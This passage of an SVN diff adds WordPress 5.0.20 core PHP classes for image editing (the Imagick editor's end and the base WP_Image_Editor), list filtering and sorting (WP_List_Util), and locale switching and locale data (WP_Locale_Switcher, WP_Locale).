+		@ chmod( $filename, $perms );
+
+		/** This filter is documented in wp-includes/class-wp-image-editor-gd.php */
+		return array(
+			'path'      => $filename,
+			'file'      => wp_basename( apply_filters( 'image_make_intermediate_size', $filename ) ),
+			'width'     => $this->size['width'],
+			'height'    => $this->size['height'],
+			'mime-type' => $mime_type,
+		);
+	}
+
+	/**
+	 * Streams current image to browser.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $mime_type The mime type of the image.
+	 * @return bool|WP_Error True on success, WP_Error object on failure.
+	 */
+	public function stream( $mime_type = null ) {
+		list( $filename, $extension, $mime_type ) = $this->get_output_format( null, $mime_type );
+
+		try {
+			// Temporarily change format for stream
+			$this->image->setImageFormat( strtoupper( $extension ) );
+
+			// Output stream of image content
+			header( "Content-Type: $mime_type" );
+			print $this->image->getImageBlob();
+
+			// Reset Image to original Format
+			$this->image->setImageFormat( $this->get_extension( $this->mime_type ) );
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'image_stream_error', $e->getMessage() );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Strips all image meta except color profiles from an image.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return true|WP_Error True if stripping metadata was successful. WP_Error object on error.
+	 */
+	protected function strip_meta() {
+
+		if ( ! is_callable( array( $this->image, 'getImageProfiles' ) ) ) {
+			/* translators: %s: ImageMagick method name */
+			return new WP_Error( 'image_strip_meta_error', sprintf( __( '%s is required to strip image meta.' ), '<code>Imagick::getImageProfiles()</code>' ) );
+		}
+
+		if ( ! is_callable( array( $this->image, 'removeImageProfile' ) ) ) {
+			/* translators: %s: ImageMagick method name */
+			return new WP_Error( 'image_strip_meta_error', sprintf( __( '%s is required to strip image meta.' ), '<code>Imagick::removeImageProfile()</code>' ) );
+		}
+
+		/*
+		 * Protect a few profiles from being stripped for the following reasons:
+		 *
+		 * - icc:  Color profile information
+		 * - icm:  Color profile information
+		 * - iptc: Copyright data
+		 * - exif: Orientation data
+		 * - xmp:  Rights usage data
+		 */
+		$protected_profiles = array(
+			'icc',
+			'icm',
+			'iptc',
+			'exif',
+			'xmp',
+		);
+
+		try {
+			// Strip profiles.
+			foreach ( $this->image->getImageProfiles( '*', true ) as $key => $value ) {
+				if ( ! in_array( $key, $protected_profiles ) ) {
+					$this->image->removeImageProfile( $key );
+				}
+			}
+
+		} catch ( Exception $e ) {
+			return new WP_Error( 'image_strip_meta_error', $e->getMessage() );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Sets up Imagick for PDF processing.
+	 * Increases rendering DPI and only loads first page.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string|WP_Error File to load or WP_Error on failure.
+	 */
+	protected function pdf_setup() {
+		try {
+			// By default, PDFs are rendered in a very low resolution.
+			// We want the thumbnail to be readable, so increase the rendering DPI.
+			$this->image->setResolution( 128, 128 );
+
+			// Only load the first page.
+			return $this->file . '[0]';
+		}
+		catch ( Exception $e ) {
+			return new WP_Error( 'pdf_setup_failed', $e->getMessage(), $this->file );
+		}
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-image-editor.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-image-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-image-editor.php	(revision 56912)
@@ -0,0 +1,472 @@
+<?php
+/**
+ * Base WordPress Image Editor
+ *
+ * @package WordPress
+ * @subpackage Image_Editor
+ */
+
+/**
+ * Base image editor class from which implementations extend
+ *
+ * @since 3.5.0
+ */
+abstract class WP_Image_Editor {
+	protected $file = null;
+	protected $size = null;
+	protected $mime_type = null;
+	protected $default_mime_type = 'image/jpeg';
+	protected $quality = false;
+	protected $default_quality = 82;
+
+	/**
+	 * Each instance handles a single file.
+	 *
+	 * @param string $file Path to the file to load.
+	 */
+	public function __construct( $file ) {
+		$this->file = $file;
+	}
+
+	/**
+	 * Checks to see if current environment supports the editor chosen.
+	 * Must be overridden in a sub-class.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 * @abstract
+	 *
+	 * @param array $args
+	 * @return bool
+	 */
+	public static function test( $args = array() ) {
+		return false;
+	}
+
+	/**
+	 * Checks to see if editor supports the mime-type specified.
+	 * Must be overridden in a sub-class.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 * @abstract
+	 *
+	 * @param string $mime_type
+	 * @return bool
+	 */
+	public static function supports_mime_type( $mime_type ) {
+		return false;
+	}
+
+	/**
+	 * Loads image from $this->file into editor.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @return bool|WP_Error True if loaded; WP_Error on failure.
+	 */
+	abstract public function load();
+
+	/**
+	 * Saves current image to file.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param string $destfilename
+	 * @param string $mime_type
+	 * @return array|WP_Error {'path'=>string, 'file'=>string, 'width'=>int, 'height'=>int, 'mime-type'=>string}
+	 */
+	abstract public function save( $destfilename = null, $mime_type = null );
+
+	/**
+	 * Resizes current image.
+	 *
+	 * At minimum, either a height or width must be provided.
+	 * If one of the two is set to null, the resize will
+	 * maintain aspect ratio according to the provided dimension.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param  int|null $max_w Image width.
+	 * @param  int|null $max_h Image height.
+	 * @param  bool     $crop
+	 * @return bool|WP_Error
+	 */
+	abstract public function resize( $max_w, $max_h, $crop = false );
+
+	/**
+	 * Resize multiple images from a single source.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param array $sizes {
+	 *     An array of image size arrays. Default sizes are 'small', 'medium', 'large'.
+	 *
+	 *     @type array $size {
+	 *         @type int  $width  Image width.
+	 *         @type int  $height Image height.
+	 *         @type bool $crop   Optional. Whether to crop the image. Default false.
+	 *     }
+	 * }
+	 * @return array An array of resized images metadata by size.
+	 */
+	abstract public function multi_resize( $sizes );
+
+	/**
+	 * Crops Image.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param int $src_x The start x position to crop from.
+	 * @param int $src_y The start y position to crop from.
+	 * @param int $src_w The width to crop.
+	 * @param int $src_h The height to crop.
+	 * @param int $dst_w Optional. The destination width.
+	 * @param int $dst_h Optional. The destination height.
+	 * @param bool $src_abs Optional. If the source crop points are absolute.
+	 * @return bool|WP_Error
+	 */
+	abstract public function crop( $src_x, $src_y, $src_w, $src_h, $dst_w = null, $dst_h = null, $src_abs = false );
+
+	/**
+	 * Rotates current image counter-clockwise by $angle.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param float $angle
+	 * @return bool|WP_Error
+	 */
+	abstract public function rotate( $angle );
+
+	/**
+	 * Flips current image.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param bool $horz Flip along Horizontal Axis
+	 * @param bool $vert Flip along Vertical Axis
+	 * @return bool|WP_Error
+	 */
+	abstract public function flip( $horz, $vert );
+
+	/**
+	 * Streams current image to browser.
+	 *
+	 * @since 3.5.0
+	 * @abstract
+	 *
+	 * @param string $mime_type The mime type of the image.
+	 * @return bool|WP_Error True on success, WP_Error object or false on failure.
+	 */
+	abstract public function stream( $mime_type = null );
+
+	/**
+	 * Gets dimensions of image.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return array {'width'=>int, 'height'=>int}
+	 */
+	public function get_size() {
+		return $this->size;
+	}
+
+	/**
+	 * Sets current image size.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $width
+	 * @param int $height
+	 * @return true
+	 */
+	protected function update_size( $width = null, $height = null ) {
+		$this->size = array(
+			'width' => (int) $width,
+			'height' => (int) $height
+		);
+		return true;
+	}
+
+	/**
+	 * Gets the Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return int $quality Compression Quality. Range: [1,100]
+	 */
+	public function get_quality() {
+		if ( ! $this->quality ) {
+			$this->set_quality();
+		}
+
+		return $this->quality;
+	}
+
+	/**
+	 * Sets Image Compression quality on a 1-100% scale.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param int $quality Compression Quality. Range: [1,100]
+	 * @return true|WP_Error True if set successfully; WP_Error on failure.
+	 */
+	public function set_quality( $quality = null ) {
+		if ( null === $quality ) {
+			/**
+			 * Filters the default image compression quality setting.
+			 *
+			 * Applies only during initial editor instantiation, or when set_quality() is run
+			 * manually without the `$quality` argument.
+			 *
+			 * set_quality() has priority over the filter.
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param int    $quality   Quality level between 1 (low) and 100 (high).
+			 * @param string $mime_type Image mime type.
+			 */
+			$quality = apply_filters( 'wp_editor_set_quality', $this->default_quality, $this->mime_type );
+
+			if ( 'image/jpeg' == $this->mime_type ) {
+				/**
+				 * Filters the JPEG compression quality for backward-compatibility.
+				 *
+				 * Applies only during initial editor instantiation, or when set_quality() is run
+				 * manually without the `$quality` argument.
+				 *
+				 * set_quality() has priority over the filter.
+				 *
+				 * The filter is evaluated under two contexts: 'image_resize', and 'edit_image',
+				 * (when a JPEG image is saved to file).
+				 *
+				 * @since 2.5.0
+				 *
+				 * @param int    $quality Quality level between 0 (low) and 100 (high) of the JPEG.
+				 * @param string $context Context of the filter.
+				 */
+				$quality = apply_filters( 'jpeg_quality', $quality, 'image_resize' );
+			}
+
+			if ( $quality < 0 || $quality > 100 ) {
+				$quality = $this->default_quality;
+			}
+		}
+
+		// Allow 0, but squash to 1 due to identical images in GD, and for backward compatibility.
+		if ( 0 === $quality ) {
+			$quality = 1;
+		}
+
+		if ( ( $quality >= 1 ) && ( $quality <= 100 ) ) {
+			$this->quality = $quality;
+			return true;
+		} else {
+			return new WP_Error( 'invalid_image_quality', __('Attempted to set image quality outside of the range [1,100].') );
+		}
+	}
+
+	/**
+	 * Returns preferred mime-type and extension based on provided
+	 * file's extension and mime, or current file's extension and mime.
+	 *
+	 * Will default to $this->default_mime_type if requested is not supported.
+	 *
+	 * Provides corrected filename only if filename is provided.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $filename
+	 * @param string $mime_type
+	 * @return array { filename|null, extension, mime-type }
+	 */
+	protected function get_output_format( $filename = null, $mime_type = null ) {
+		$new_ext = null;
+
+		// By default, assume specified type takes priority
+		if ( $mime_type ) {
+			$new_ext = $this->get_extension( $mime_type );
+		}
+
+		if ( $filename ) {
+			$file_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+			$file_mime = $this->get_mime_type( $file_ext );
+		}
+		else {
+			// If no file specified, grab editor's current extension and mime-type.
+			$file_ext = strtolower( pathinfo( $this->file, PATHINFO_EXTENSION ) );
+			$file_mime = $this->mime_type;
+		}
+
+		// Check to see if specified mime-type is the same as type implied by
+		// file extension.  If so, prefer extension from file.
+		if ( ! $mime_type || ( $file_mime == $mime_type ) ) {
+			$mime_type = $file_mime;
+			$new_ext = $file_ext;
+		}
+
+		// Double-check that the mime-type selected is supported by the editor.
+		// If not, choose a default instead.
+		if ( ! $this->supports_mime_type( $mime_type ) ) {
+			/**
+			 * Filters default mime type prior to getting the file extension.
+			 *
+			 * @see wp_get_mime_types()
+			 *
+			 * @since 3.5.0
+			 *
+			 * @param string $mime_type Mime type string.
+			 */
+			$mime_type = apply_filters( 'image_editor_default_mime_type', $this->default_mime_type );
+			$new_ext = $this->get_extension( $mime_type );
+		}
+
+		if ( $filename ) {
+			$dir = pathinfo( $filename, PATHINFO_DIRNAME );
+			$ext = pathinfo( $filename, PATHINFO_EXTENSION );
+
+			$filename = trailingslashit( $dir ) . wp_basename( $filename, ".$ext" ) . ".{$new_ext}";
+		}
+
+		return array( $filename, $new_ext, $mime_type );
+	}
+
+	/**
+	 * Builds an output filename based on current file, and adding proper suffix
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string $suffix
+	 * @param string $dest_path
+	 * @param string $extension
+	 * @return string filename
+	 */
+	public function generate_filename( $suffix = null, $dest_path = null, $extension = null ) {
+		// $suffix will be appended to the destination filename, just before the extension
+		if ( ! $suffix )
+			$suffix = $this->get_suffix();
+
+		$dir  = pathinfo( $this->file, PATHINFO_DIRNAME );
+		$ext  = pathinfo( $this->file, PATHINFO_EXTENSION );
+
+		$name = wp_basename( $this->file, ".$ext" );
+		$new_ext = strtolower( $extension ? $extension : $ext );
+
+		if ( ! is_null( $dest_path ) && $_dest_path = realpath( $dest_path ) )
+			$dir = $_dest_path;
+
+		return trailingslashit( $dir ) . "{$name}-{$suffix}.{$new_ext}";
+	}
+
+	/**
+	 * Builds and returns proper suffix for file based on height and width.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @return false|string suffix
+	 */
+	public function get_suffix() {
+		if ( ! $this->get_size() )
+			return false;
+
+		return "{$this->size['width']}x{$this->size['height']}";
+	}
+
+	/**
+	 * Either calls editor's save function or handles file as a stream.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param string|stream $filename
+	 * @param callable $function
+	 * @param array $arguments
+	 * @return bool
+	 */
+	protected function make_image( $filename, $function, $arguments ) {
+		if ( $stream = wp_is_stream( $filename ) ) {
+			ob_start();
+		} else {
+			// The directory containing the original file may no longer exist when using a replication plugin.
+			wp_mkdir_p( dirname( $filename ) );
+		}
+
+		$result = call_user_func_array( $function, $arguments );
+
+		if ( $result && $stream ) {
+			$contents = ob_get_contents();
+
+			$fp = fopen( $filename, 'w' );
+
+			if ( ! $fp ) {
+				ob_end_clean();
+				return false;
+			}
+
+			fwrite( $fp, $contents );
+			fclose( $fp );
+		}
+
+		if ( $stream ) {
+			ob_end_clean();
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Returns first matched mime-type from extension,
+	 * as mapped from wp_get_mime_types()
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param string $extension
+	 * @return string|false
+	 */
+	protected static function get_mime_type( $extension = null ) {
+		if ( ! $extension )
+			return false;
+
+		$mime_types = wp_get_mime_types();
+		$extensions = array_keys( $mime_types );
+
+		foreach ( $extensions as $_extension ) {
+			if ( preg_match( "/{$extension}/i", $_extension ) ) {
+				return $mime_types[$_extension];
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Returns first matched extension from Mime-type,
+	 * as mapped from wp_get_mime_types()
+	 *
+	 * @since 3.5.0
+	 *
+	 * @static
+	 *
+	 * @param string $mime_type
+	 * @return string|false
+	 */
+	protected static function get_extension( $mime_type = null ) {
+		$extensions = explode( '|', array_search( $mime_type, wp_get_mime_types() ) );
+
+		if ( empty( $extensions[0] ) )
+			return false;
+
+		return $extensions[0];
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/class-wp-list-util.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-list-util.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-list-util.php	(revision 56912)
@@ -0,0 +1,261 @@
+<?php
+/**
+ * WordPress List utility class
+ *
+ * @package WordPress
+ * @since 4.7.0
+ */
+
+/**
+ * List utility.
+ *
+ * Utility class to handle operations on an array of objects.
+ *
+ * @since 4.7.0
+ */
+class WP_List_Util {
+	/**
+	 * The input array.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $input = array();
+
+	/**
+	 * The output array.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $output = array();
+
+	/**
+	 * Temporary arguments for sorting.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $orderby = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * Sets the input array.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $input Array to perform operations on.
+	 */
+	public function __construct( $input ) {
+		$this->output = $this->input = $input;
+	}
+
+	/**
+	 * Returns the original input array.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array The input array.
+	 */
+	public function get_input() {
+		return $this->input;
+	}
+
+	/**
+	 * Returns the output array.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array The output array.
+	 */
+	public function get_output() {
+		return $this->output;
+	}
+
+	/**
+	 * Filters the list, based on a set of key => value arguments.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $args     Optional. An array of key => value arguments to match
+	 *                         against each object. Default empty array.
+	 * @param string $operator Optional. The logical operation to perform. 'AND' means
+	 *                         all elements from the array must match. 'OR' means only
+	 *                         one element needs to match. 'NOT' means no elements may
+	 *                         match. Default 'AND'.
+	 * @return array Array of found values.
+	 */
+	public function filter( $args = array(), $operator = 'AND' ) {
+		if ( empty( $args ) ) {
+			return $this->output;
+		}
+
+		$operator = strtoupper( $operator );
+
+		if ( ! in_array( $operator, array( 'AND', 'OR', 'NOT' ), true ) ) {
+			return array();
+		}
+
+		$count = count( $args );
+		$filtered = array();
+
+		foreach ( $this->output as $key => $obj ) {
+			$to_match = (array) $obj;
+
+			$matched = 0;
+			foreach ( $args as $m_key => $m_value ) {
+				if ( array_key_exists( $m_key, $to_match ) && $m_value == $to_match[ $m_key ] ) {
+					$matched++;
+				}
+			}
+
+			if (
+				( 'AND' == $operator && $matched == $count ) ||
+				( 'OR' == $operator && $matched > 0 ) ||
+				( 'NOT' == $operator && 0 == $matched )
+			) {
+				$filtered[$key] = $obj;
+			}
+		}
+
+		$this->output = $filtered;
+
+		return $this->output;
+	}
+
+	/**
+	 * Plucks a certain field out of each object in the list.
+	 *
+	 * This has the same functionality and prototype of
+	 * array_column() (PHP 5.5) but also supports objects.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param int|string $field     Field from the object to place instead of the entire object
+	 * @param int|string $index_key Optional. Field from the object to use as keys for the new array.
+	 *                              Default null.
+	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
+	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
+	 *               `$list` will be preserved in the results.
+	 */
+	public function pluck( $field, $index_key = null ) {
+		if ( ! $index_key ) {
+			/*
+			 * This is simple. Could at some point wrap array_column()
+			 * if we knew we had an array of arrays.
+			 */
+			foreach ( $this->output as $key => $value ) {
+				if ( is_object( $value ) ) {
+					$this->output[ $key ] = $value->$field;
+				} else {
+					$this->output[ $key ] = $value[ $field ];
+				}
+			}
+			return $this->output;
+		}
+
+		/*
+		 * When index_key is not set for a particular item, push the value
+		 * to the end of the stack. This is how array_column() behaves.
+		 */
+		$newlist = array();
+		foreach ( $this->output as $value ) {
+			if ( is_object( $value ) ) {
+				if ( isset( $value->$index_key ) ) {
+					$newlist[ $value->$index_key ] = $value->$field;
+				} else {
+					$newlist[] = $value->$field;
+				}
+			} else {
+				if ( isset( $value[ $index_key ] ) ) {
+					$newlist[ $value[ $index_key ] ] = $value[ $field ];
+				} else {
+					$newlist[] = $value[ $field ];
+				}
+			}
+		}
+
+		$this->output = $newlist;
+
+		return $this->output;
+	}
+
+	/**
+	 * Sorts the list, based on one or more orderby arguments.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string|array $orderby       Optional. Either the field name to order by or an array
+	 *                                    of multiple orderby fields as $orderby => $order.
+	 * @param string       $order         Optional. Either 'ASC' or 'DESC'. Only used if $orderby
+	 *                                    is a string.
+	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
+	 * @return array The sorted array.
+	 */
+	public function sort( $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
+		if ( empty( $orderby ) ) {
+			return $this->output;
+		}
+
+		if ( is_string( $orderby ) ) {
+			$orderby = array( $orderby => $order );
+		}
+
+		foreach ( $orderby as $field => $direction ) {
+			$orderby[ $field ] = 'DESC' === strtoupper( $direction ) ? 'DESC' : 'ASC';
+		}
+
+		$this->orderby = $orderby;
+
+		if ( $preserve_keys ) {
+			uasort( $this->output, array( $this, 'sort_callback' ) );
+		} else {
+			usort( $this->output, array( $this, 'sort_callback' ) );
+		}
+
+		$this->orderby = array();
+
+		return $this->output;
+	}
+
+	/**
+	 * Callback to sort the list by specific fields.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @see WP_List_Util::sort()
+	 *
+	 * @param object|array $a One object to compare.
+	 * @param object|array $b The other object to compare.
+	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
+	 */
+	private function sort_callback( $a, $b ) {
+		if ( empty( $this->orderby ) ) {
+			return 0;
+		}
+
+		$a = (array) $a;
+		$b = (array) $b;
+
+		foreach ( $this->orderby as $field => $direction ) {
+			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
+				continue;
+			}
+
+			if ( $a[ $field ] == $b[ $field ] ) {
+				continue;
+			}
+
+			$results = 'DESC' === $direction ? array( 1, -1 ) : array( -1, 1 );
+
+			if ( is_numeric( $a[ $field ] ) && is_numeric( $b[ $field ] ) ) {
+				return ( $a[ $field ] < $b[ $field ] ) ? $results[0] : $results[1];
+			}
+
+			return 0 > strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
+		}
+
+		return 0;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-locale-switcher.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-locale-switcher.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-locale-switcher.php	(revision 56912)
@@ -0,0 +1,235 @@
+<?php
+/**
+ * Locale API: WP_Locale_Switcher class
+ *
+ * @package WordPress
+ * @subpackage i18n
+ * @since 4.7.0
+ */
+
+/**
+ * Core class used for switching locales.
+ *
+ * @since 4.7.0
+ */
+class WP_Locale_Switcher {
+	/**
+	 * Locale stack.
+	 *
+	 * @since 4.7.0
+	 * @var string[]
+	 */
+	private $locales = array();
+
+	/**
+	 * Original locale.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	private $original_locale;
+
+	/**
+	 * Holds all available languages.
+	 *
+	 * @since 4.7.0
+	 * @var array An array of language codes (file names without the .mo extension).
+	 */
+	private $available_languages = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * Stores the original locale as well as a list of all available languages.
+	 *
+	 * @since 4.7.0
+	 */
+	public function __construct() {
+		$this->original_locale     = determine_locale();
+		$this->available_languages = array_merge( array( 'en_US' ), get_available_languages() );
+	}
+
+	/**
+	 * Initializes the locale switcher.
+	 *
+	 * Hooks into the {@see 'locale'} filter to change the locale on the fly.
+	 */
+	public function init() {
+		add_filter( 'locale', array( $this, 'filter_locale' ) );
+	}
+
+	/**
+	 * Switches the translations according to the given locale.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $locale The locale to switch to.
+	 * @return bool True on success, false on failure.
+	 */
+	public function switch_to_locale( $locale ) {
+		$current_locale = determine_locale();
+		if ( $current_locale === $locale ) {
+			return false;
+		}
+
+		if ( ! in_array( $locale, $this->available_languages, true ) ) {
+			return false;
+		}
+
+		$this->locales[] = $locale;
+
+		$this->change_locale( $locale );
+
+		/**
+		 * Fires when the locale is switched.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param string $locale The new locale.
+		 */
+		do_action( 'switch_locale', $locale );
+
+		return true;
+	}
+
+	/**
+	 * Restores the translations according to the previous locale.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string|false Locale on success, false on failure.
+	 */
+	public function restore_previous_locale() {
+		$previous_locale = array_pop( $this->locales );
+
+		if ( null === $previous_locale ) {
+			// The stack is empty, bail.
+			return false;
+		}
+
+		$locale = end( $this->locales );
+
+		if ( ! $locale ) {
+			// There's nothing left in the stack: go back to the original locale.
+			$locale = $this->original_locale;
+		}
+
+		$this->change_locale( $locale );
+
+		/**
+		 * Fires when the locale is restored to the previous one.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param string $locale          The new locale.
+		 * @param string $previous_locale The previous locale.
+		 */
+		do_action( 'restore_previous_locale', $locale, $previous_locale );
+
+		return $locale;
+	}
+
+	/**
+	 * Restores the translations according to the original locale.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string|false Locale on success, false on failure.
+	 */
+	public function restore_current_locale() {
+		if ( empty( $this->locales ) ) {
+			return false;
+		}
+
+		$this->locales = array( $this->original_locale );
+
+		return $this->restore_previous_locale();
+	}
+
+	/**
+	 * Whether switch_to_locale() is in effect.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return bool True if the locale has been switched, false otherwise.
+	 */
+	public function is_switched() {
+		return ! empty( $this->locales );
+	}
+
+	/**
+	 * Filters the locale of the WordPress installation.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $locale The locale of the WordPress installation.
+	 * @return string The locale currently being switched to.
+	 */
+	public function filter_locale( $locale ) {
+		$switched_locale = end( $this->locales );
+
+		if ( $switched_locale ) {
+			return $switched_locale;
+		}
+
+		return $locale;
+	}
+
+	/**
+	 * Load translations for a given locale.
+	 *
+	 * When switching to a locale, translations for this locale must be loaded from scratch.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global Mo[] $l10n An array of all currently loaded text domains.
+	 *
+	 * @param string $locale The locale to load translations for.
+	 */
+	private function load_translations( $locale ) {
+		global $l10n;
+
+		$domains = $l10n ? array_keys( $l10n ) : array();
+
+		load_default_textdomain( $locale );
+
+		foreach ( $domains as $domain ) {
+			if ( 'default' === $domain ) {
+				continue;
+			}
+
+			unload_textdomain( $domain );
+			get_translations_for_domain( $domain );
+		}
+	}
+
+	/**
+	 * Changes the site's locale to the given one.
+	 *
+	 * Loads the translations, changes the global `$wp_locale` object and updates
+	 * all post type labels.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global WP_Locale $wp_locale The WordPress date and time locale object.
+	 *
+	 * @param string $locale The locale to change to.
+	 */
+	private function change_locale( $locale ) {
+		// Reset translation availability information.
+		_get_path_to_translation( null, true );
+
+		$this->load_translations( $locale );
+
+		$GLOBALS['wp_locale'] = new WP_Locale();
+
+		/**
+		 * Fires when the locale is switched to or restored.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param string $locale The new locale.
+		 */
+		do_action( 'change_locale', $locale );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-locale.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-locale.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-locale.php	(revision 56912)
@@ -0,0 +1,394 @@
+<?php
+/**
+ * Locale API: WP_Locale class
+ *
+ * @package WordPress
+ * @subpackage i18n
+ * @since 4.6.0
+ */
+
+/**
+ * Core class used to store translated data for a locale.
+ *
+ * @since 2.1.0
+ * @since 4.6.0 Moved to its own file from wp-includes/locale.php.
+ */
+class WP_Locale {
+	/**
+	 * Stores the translated strings for the full weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $weekday;
+
+	/**
+	 * Stores the translated strings for the one character weekday names.
+	 *
+	 * There is a hack to make sure that Tuesday and Thursday, as well
+	 * as Sunday and Saturday, don't conflict. See init() method for more.
+	 *
+	 * @see WP_Locale::init() for how to handle the hack.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $weekday_initial;
+
+	/**
+	 * Stores the translated strings for the abbreviated weekday names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $weekday_abbrev;
+
+	/**
+	 * Stores the default start of the week.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	public $start_of_week;
+
+	/**
+	 * Stores the translated strings for the full month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $month;
+
+	/**
+	 * Stores the translated strings for the month names in genitive case, if the locale specifies.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	public $month_genitive;
+
+	/**
+	 * Stores the translated strings for the abbreviated month names.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $month_abbrev;
+
+	/**
+	 * Stores the translated strings for 'am' and 'pm'.
+	 *
+	 * Also the capitalized versions.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $meridiem;
+
+	/**
+	 * The text direction of the locale language.
+	 *
+	 * Default is left to right 'ltr'.
+	 *
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $text_direction = 'ltr';
+
+	/**
+	 * The thousands separator and decimal point values used for localizing numbers.
+	 *
+	 * @since 2.3.0
+	 * @var array
+	 */
+	public $number_format;
+
+	/**
+	 * Constructor which calls helper methods to set up object variables.
+	 *
+	 * @since 2.1.0
+	 */
+	public function __construct() {
+		$this->init();
+		$this->register_globals();
+	}
+
+	/**
+	 * Sets up the translated strings and object properties.
+	 *
+	 * The method creates the translatable strings for various
+	 * calendar elements. Which allows for specifying locale
+	 * specific calendar names and text direction.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @global string $text_direction
+	 */
+	public function init() {
+		// The Weekdays
+		$this->weekday[0] = /* translators: weekday */ __('Sunday');
+		$this->weekday[1] = /* translators: weekday */ __('Monday');
+		$this->weekday[2] = /* translators: weekday */ __('Tuesday');
+		$this->weekday[3] = /* translators: weekday */ __('Wednesday');
+		$this->weekday[4] = /* translators: weekday */ __('Thursday');
+		$this->weekday[5] = /* translators: weekday */ __('Friday');
+		$this->weekday[6] = /* translators: weekday */ __('Saturday');
+
+		// The first letter of each day.
+		$this->weekday_initial[ __( 'Sunday' ) ]    = /* translators: one-letter abbreviation of the weekday */ _x( 'S', 'Sunday initial' );
+		$this->weekday_initial[ __( 'Monday' ) ]    = /* translators: one-letter abbreviation of the weekday */ _x( 'M', 'Monday initial' );
+		$this->weekday_initial[ __( 'Tuesday' ) ]   = /* translators: one-letter abbreviation of the weekday */ _x( 'T', 'Tuesday initial' );
+		$this->weekday_initial[ __( 'Wednesday' ) ] = /* translators: one-letter abbreviation of the weekday */ _x( 'W', 'Wednesday initial' );
+		$this->weekday_initial[ __( 'Thursday' ) ]  = /* translators: one-letter abbreviation of the weekday */ _x( 'T', 'Thursday initial' );
+		$this->weekday_initial[ __( 'Friday' ) ]    = /* translators: one-letter abbreviation of the weekday */ _x( 'F', 'Friday initial' );
